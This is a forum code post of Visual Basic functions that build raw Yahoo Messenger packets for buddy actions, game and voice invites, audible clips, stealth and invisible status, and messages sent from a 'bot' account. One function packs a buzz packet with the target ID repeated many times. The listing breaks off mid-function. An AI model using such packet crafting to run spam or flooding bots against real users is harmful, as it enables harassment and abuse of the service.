Yahoo packets in VB !

kush_2207's Avatar author of Yahoo packets in VB !
This is an article on Yahoo packets in VB ! in Visual Basic [VB].
Rated 5.00 By 1 users
Code:
'################################################################' 
'#                                                              #' 
'#  VB_Packets Yahoo Mod 2 Fully Tested!   91 Working Packets!  #' 
'#                                                              #' 
'#                 Credits to creator                           #'
'#                                                              #' 
'################################################################' 

Public Function AddBuddy1922(WhoFrom As String, WhoTo As String, Message As String, Group As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€14À€" & Message & "À€65À€" & Group & "À€97À€1À€" 
	AddBuddy1922 = DataHeader("83", pck) 
	Debug.Print AddBuddy1922 
End Function 

Public Function GameLiterati(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180lt18318111tyrk828hb0zaycr.xru5qg--131" 
	GameLiterati = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameBackgammon(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180bg18318111pcgcfcdw7wg8zhfcvoxnqq--131" 
	GameBackgammon = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameTokiTokiBoom(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180ttb18318111236ibnipkkbtk4ufa4dgna--131" 
	GameTokiTokiBoom = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameCheckers(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180ck18318111w9ky8drntpjsz3ncnwxfjw--131" 
	GameCheckers = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameChess(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180ch18318111fiujrx1lfgy3bluver.kvq--131" 
	GameChess = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GamePearHunter(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180ph18318111qumvsv.jm60oeusu1wirha--131" 
	GamePearHunter = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameDominos(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180do18318111rjb0bqstgg09wke9ydkljq--131" 
	GameDominos = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GameWordRacer(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180ww18318111zazxe_ppbqb6xrlout.sxw--131" 
	GameWordRacer = DataHeader("B7", pck) 
	Debug.Print 
End Function 

Public Function GamePool(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "180pl18318111xnmu9vq9opxgzynzaed5ya--131" 
	GamePool = DataHeader("B7", pck) 
	Debug.Print GamePool 
End Function 

Public Function Audible_Ladys(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.ladies1À€231À€All the ladies in the house say...À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Ladys = DataHeader("D0", pck) 
	Debug.Print Audible_Ladys 
End Function 

Public Function Audible_Wadddup(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.whadup1À€231À€Whaaadddup?!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Wadddup = DataHeader("D0", pck) 
	Debug.Print Audible_Wadddup 
End Function 

Public Function Audible_HurtYou(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.dontmakeme1231Don't make me hurt you231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_HurtYou = DataHeader("D0", pck) 
	Debug.Print Audible_HurtYou 
End Function 

Public Function Audible_SeeYou(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.seeyou1À€231À€Hello? I know you're there. I can see you!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_SeeYou = DataHeader("D0", pck) 
	Debug.Print Audible_SeeYou 
End Function 

Public Function Audible_Echo(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.echo1À€231À€Hello? Hello? Anybody there? Echo!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Echo = DataHeader("D0", pck) 
	Debug.Print Audible_Echo 
End Function 

Public Function Audible_OhHello(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.nosepick1231Oh... uh... Hello232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_OhHello = DataHeader("D0", pck) 
	Debug.Print Audible_OhHello 
End Function 

Public Function Audible_Dude(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.dude1À€231À€Dude!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Dude = DataHeader("D0", pck) 
	Debug.Print Audible_Dude 
End Function 

Public Function Audible_Whistle(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle1231Whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Whistle = DataHeader("D0", pck) 
	Debug.Print Audible_Whistle 
End Function 

Public Function Audible_Expectingyou(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.hello.welcome1À€231À€Welcome. I've been expecting you.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Expectingyou = DataHeader("D0", pck) 
	Debug.Print Audible_Expectingyou 
End Function 

Public Function Audible_Punch(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Punch = DataHeader("D0", pck) 
	Debug.Print Audible_Punch 
End Function 

Public Function Audible_KeepPunch(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_03b231You gotta keep Fuckin Punching in there. . .Punch!(Audible By vb_packets)232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_KeepPunch = DataHeader("D0", pck) 
	Debug.Print Audible_KeepPunch 
End Function 

Public Function Audible_Heart4This(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_02b231If you don't have the heart for this, let's do something else.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Heart4This = DataHeader("D0", pck) 
	Debug.Print Audible_Heart4This 
End Function 

Public Function Audible_hahayourfunny(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.funny1À€231À€Haha... you're funny!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_hahayourfunny = DataHeader("D0", pck) 
	Debug.Print Audible_hahayourfunny 
End Function 

Public Function Audible_LonelyYou(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.lonely1À€231À€It must be really lonely being you.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_LonelyYou = DataHeader("D0", pck) 
	Debug.Print Audible_LonelyYou 
End Function 

Public Function Audible_Loser(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.likeyou1À€231À€It's not that I'm losing - it's that I'm losing to someone like you!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Loser = DataHeader("D0", pck) 
	Debug.Print Audible_Loser 
End Function 

Public Function Audible_BetterIM(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.monkey1231I've gotten better IM's from a drunken monkey232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_BetterIM = DataHeader("D0", pck) 
	Debug.Print Audible_BetterIM 
End Function 

Public Function Audible_NotFunny(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.notfunny1À€231À€That's not funny.  That's not even in the same zip code as funny.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_NotFunny = DataHeader("D0", pck) 
	Debug.Print Audible_NotFunny 
End Function 

Public Function Audible_Typo(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.typo1À€231À€I'm sorry - was that a typo? Or are you really that stupid?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Typo = DataHeader("D0", pck) 
	Debug.Print Audible_Typo 
End Function 

Public Function Audible_SpellCheck(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.spellcheck1À€231À€It's called spell check.  Look into it.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_SpellCheck = DataHeader("D0", pck) 
	Debug.Print Audible_SpellCheck 
End Function 

Public Function Audible_UnPlugComputer(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.unplug1À€231À€Seriously - do us all a favor and unplug your computer now!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_UnPlugComputer = DataHeader("D0", pck) 
	Debug.Print Audible_UnPlugComputer 
End Function 

Public Function Audible_YourBrain(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.insults.brain1À€231À€It's 10 o'clock.  Do you know where your brain is?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_YourBrain = DataHeader("D0", pck) 
	Debug.Print Audible_YourBrain 
End Function 

Public Function Audible_YourBooty(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.booty1231Arrr!  Your booty shivers me timbers232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_YourBooty = DataHeader("D0", pck) 
	Debug.Print Audible_YourBooty 
End Function 

Public Function Audible_YourWindow(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.window1231I love what you've done with your window232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_YourWindow = DataHeader("D0", pck) 
	Debug.Print Audible_YourWindow 
End Function 

Public Function Audible_HaySexy(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.sexy231Hey sexy232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_HaySexy = DataHeader("D0", pck) 
	Debug.Print Audible_HaySexy 
End Function 

Public Function Audible_TypeSlow(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.realslow231I love it when you type real slow232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_TypeSlow = DataHeader("D0", pck) 
	Debug.Print Audible_TypeSlow 
End Function 

Public Function Audible_ComeCloser(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.comecloser1À€231À€Come here you. Come on. Closer. Closer.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_ComeCloser = DataHeader("D0", pck) 
	Debug.Print Audible_ComeCloser 
End Function 

Public Function Audible_LovesMe(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.lovesme1À€231À€She loves me not.  She loves me.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_LovesMe = DataHeader("D0", pck) 
	Debug.Print Audible_LovesMe 
End Function 

Public Function Audible_MeltHeart(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.heartmelt1231You make my heart melt232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_MeltHeart = DataHeader("D0", pck) 
	Debug.Print Audible_MeltHeart 
End Function 

Public Function Audible_HotinHere(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.flirts.hot1À€231À€Is it just me or is it getting really hot in here?À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_HotinHere = DataHeader("D0", pck) 
	Debug.Print Audible_HotinHere 
End Function 

Public Function Audible_GottaReboot(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.goodbyes.reboot1À€231À€Oops.  Sorry... I have to reboot.  Goodbye...À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_GottaReboot = DataHeader("D0", pck) 
	Debug.Print Audible_GottaReboot 
End Function 

Public Function Audible_GottaSplit(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.goodbyes.split1À€231À€See ya. I gotta split.À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_GottaSplit = DataHeader("D0", pck) 
	Debug.Print Audible_GottaSplit 
End Function 
Public Function Audible_GottaHurt(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.gottahurt1231Oooh that's gotta hurt231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_GottaHurt = DataHeader("D0", pck) 
	Debug.Print Audible_GottaHurt 
End Function 

Public Function Audible_Grandma(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.bestshot1231Hit me with your best shot... Grandma!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Grandma = DataHeader("D0", pck) 
	Debug.Print Audible_Grandma 
End Function 

Public Function Audible_Slip(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.mopping1231I hope you don't slip while I'm mopping the floor with you.231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Slip = DataHeader("D0", pck) 
	Debug.Print Audible_Slip 
End Function 

Public Function Audible_Trying(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.seriously1231Seriously, are you even trying?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Trying = DataHeader("D0", pck) 
	Debug.Print Audible_Trying 
End Function 

Public Function Audible_BadaBang(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.badabing1231Badabing badabang badaboom Sucker!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_BadaBang = DataHeader("D0", pck) 
	Debug.Print Audible_BadaBang 
End Function 

Public Function Audible_GottaGoBoss(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.goodbyes.parole1231Gotta go.  My parole officer needs to use the computer232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_GottaGoBoss = DataHeader("D0", pck) 
	Debug.Print Audible_GottaGoBoss 
End Function 

Public Function Audible_HurtPunch(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_HurtPunch = DataHeader("D0", pck) 
	Debug.Print Audible_HurtPunch 
End Function 

Public Function Audible_Oldman(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.wellplayed1À€231À€Well played old man!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Oldman = DataHeader("D0", pck) 
	Debug.Print Audible_Oldman 
End Function 

Public Function Audible_Cheater(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.cheater1À€231À€You're such a cheater!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_Cheater = DataHeader("D0", pck) 
	Debug.Print Audible_Cheater 
End Function 

Public Function Audible_NoNoNo(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€230À€base.us.losing.nooo1À€231À€No No No No NO!À€232À€e6e04dfe428c6bf75d5ea021ee58c583e53afb89À€" 
	Audible_NoNoNo = DataHeader("D0", pck) 
	Debug.Print Audible_NoNoNo 
End Function 

Public Function Audible_Confidence(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.confidence1231Well I was just trying to build your confidence232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Confidence = DataHeader("D0", pck) 
	Debug.Print Audible_Confidence 
End Function 

Public Function Audible_WhatEver(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.whatever1231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_WhatEver = DataHeader("D0", pck) 
	Debug.Print Audible_WhatEver 
End Function 

Public Function Audible_ItsOnNow(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.onnow1231It's on now!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_ItsOnNow = DataHeader("D0", pck) 
	Debug.Print Audible_ItsOnNow 
End Function 

Public Function Audible_TwoBest(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.besttwo1231How about best two out of three?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_TwoBest = DataHeader("D0", pck) 
	Debug.Print Audible_TwoBest 
End Function 

Public Function Audible_Muah(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.muha1231Muhahahaha!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	Audible_Muah = DataHeader("D0", pck) 
	Debug.Print Audible_Muah 
End Function 

Public Function DenyYM6Buddy(WhoFrom As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€14À€" & Message & "À€" 
	DenyYM6Buddy = DataHeader("86", pck) 
	Debug.Print 
End Function 

Public Function DoodlesIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€doodle;1À€64À€0À€" 
	DoodlesIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function GalaxyIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€g2;1À€64À€0À€" 
	GalaxyIMV = DataHeader("06", pck) 
	Debug.Print GalaxyIMV 
End Function 

Public Function LorealIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€loreal;1À€64À€0À€" 
	LorealIMV = DataHeader("06", pck) 
	Debug.Print LorealIMV 
End Function 

Public Function HarryPotterIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€hp3dvd;1À€64À€0À€" 
	HarryPotterIMV = DataHeader("06", pck) 
	Debug.Print HarryPotterIMV 
End Function 

Public Function Clone(YourCloneID As String, WhoTo As String, YourBot As String) As String 
	Dim pck As String 
	pck = "5À€" & YourCloneID & "À€230À€" & WhoTo & "À€0À€" & YourBot 
	Clone = DataHeader("D0", pck) 
	Debug.Print Clone 
End Function 

Public Function LunchablesIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€lunchables;1À€64À€0À€" 
	LunchablesIMV = DataHeader("06", pck) 
	Debug.Print LunchablesIMV 
End Function 

Public Function JeepIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€jeep;1À€64À€0À€" 
	JeepIMV = DataHeader("06", pck) 
	Debug.Print JeepIMV 
End Function 

Public Function ShoppingIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€shoppingxl;1À€64À€0À€" 
	ShoppingIMV = DataHeader("06", pck) 
	Debug.Print ShoppingIMV 
End Function 

Public Function PhotosIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€photos;1À€64À€0À€" 
	PhotosIMV = DataHeader("06", pck) 
	Debug.Print PhotosIMV 
End Function 

Public Function Invisible(YourID As String) As String 
	Dim pck As String 
	pck = "7À€" & YourID & "À€10À€0À€13À€0À€11À€BE9ED4C3À€17À€0À€47À€2À€198À€1À€197À€1fShAsRFJAAICJ-FKkIpgkkzKCQ==À€205À€-130,-40,262À€213À€1À€" 
	Invisible = DataHeader("02", pck) 
	Debug.Print Invisible 
End Function 

Public Function SendBlank_PM(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" 
	SendBlank_PM = DataHeader("D0", pck) 
	Debug.Print SendBlank_PM 
End Function 
                               
Public Function StealthOnline(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€31À€2À€13À€2À€7À€" & WhoTo & "À€" 
	StealthOnline = DataHeader("B9", pck) 
	Debug.Print StealthOnline 
End Function 

Public Function StealthOffline(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€31À€1À€13À€2À€7À€" & WhoTo & "À€" 
	StealthOffline = DataHeader("B9", pck) 
	Debug.Print StealthOffline 
End Function 

Public Function RemoveID(WhoFrom As String, WhoTo As String, Group As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€7À€" & WhoTo & "À€65À€" & Group & "À€" 
	RemoveID = DataHeader("84", pck) 
	Debug.Print RemoveID 
End Function 

Public Function YM6Buzz(WhoFrom As String, WhoTo As String, Message As TextBox) As String 
	Dim pck As String 
	pck = "4À€" & WhoFrom & "À€5À€" & WhoTo & "À€14À€" & WhoTo & "À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & WhoTo & "++À€14À€" & Message & "À€97À€1À€" 
	YM6Buzz = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function YM6VoiceInvite(WhoFrom As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "1" & WhoFrom & "5" & WhoTo & "57131" 
	YM6VoiceInvite = DataHeader("4A", pck) 
	Debug.Print 
End Function 

Public Function YM6File(WhoTo As String, WhoFrom As String, WhoFromAgain As String, File As App) As String 
	Dim pck As String 
	pck = "5À€" & WhoTo & "À€4À€" & WhoFrom & "À€49À€FILEXFERÀ€1À€" & WhoFromAgain & "À€13À€1À€27À€" & File & "À€28À€68999À€20À€" 
	YM6File = DataHeader("4D", pck) 
	Debug.Print YM6File 
End Function 

Public Function SendPMYM6(WhoFrom As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1" & WhoFrom & "5" & WhoTo & "14" & Message & "97163642100212660" 
	SendPMYM6 = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function YM6Conference(WhoFrom As String, WhoFromAgain As String, Message As String, WhoTo As String) As String 
	Dim pck As String 
	pck = "1À€" & WhoFrom & "À€50À€" & WhoFromAgain & "À€57À€" & Message & "-pDTUCRU__ATnNR9T2Y.q7g--À€58À€Join My Conference...À€97À€1À€52À€" & WhoTo & "À€13À€256À€" 
	YM6Conference = DataHeader("18", pck) 
	Debug.Print YM6Conference 
End Function 

Public Function YM6StatusChange(YahooID As String, Message As String) As String 
	Dim pck As String 
	pck = "7À€" & YahooID & "À€10À€99À€19À€" & Message & "À€47À€1À€11À€659A3D94À€17À€0À€138À€1À€13À€1À€187À€0À€" 
	YM6StatusChange = DataHeader("C6", pck) 
	Debug.Print YM6StatusChange 
End Function 

Public Function YM6CamInvite(WhoTo As String, WhoFrom As String) As String 
	Dim pck As String 
	pck = "5" & WhoTo & "4" & WhoFrom & "14 13049WEBCAMINVITE" 
	YM6CamInvite = DataHeader("4B", pck) 
	Debug.Print YM6CamInvite 
End Function 

Public Function Iggy(YourID As String, IggyWho As String) As String 
	Dim pck As String 
	pck = "1À€" & YourID & "À€7À€" & IggyWho & "À€13À€1À€" 
	Iggy = DataHeader("85", pck) 
End Function 

Public Function InCrediblesIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€incredibles;1À€64À€0À€" 
	InCrediblesIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function FishTankIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€fishtank;1À€64À€0À€" 
	FishTankIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function SnowIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€snowflake;1À€64À€0À€" 
	SnowIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function DilbertIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€dilbert;1À€64À€0À€" 
	DilbertIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function HeartsIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€hearts;1À€64À€0À€" 
	HeartsIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function ResidentEvilIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€re2;1À€64À€0À€" 
	ResidentEvilIMV = DataHeader("06", pck) 
	Debug.Print 
End Function 

Public Function LeavesIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€leaves;1À€64À€0À€" 
	LeavesIMV = DataHeader("06", pck) 
	Debug.Print LeavesIMV 
End Function 

Public Function AmazingIMV(YourBot As String, WhoTo As String, Message As String) As String 
	Dim pck As String 
